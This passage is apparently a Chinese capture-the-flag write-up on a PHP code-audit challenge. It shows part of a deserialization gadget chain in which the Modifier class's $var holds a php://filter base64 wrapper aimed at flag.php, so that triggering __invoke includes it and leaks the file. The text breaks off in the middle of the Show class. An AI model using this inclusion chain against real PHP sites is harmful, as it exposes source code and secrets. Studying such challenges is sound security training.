打卡题目
代码审计
果我们把modifiy对象的var改为php伪协议,然后成功调用invoke魔术方法就可以读出flag
调用invoke魔术方法需要将对象当做一个函数来使用,这样invoke方法就会自动调用
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public f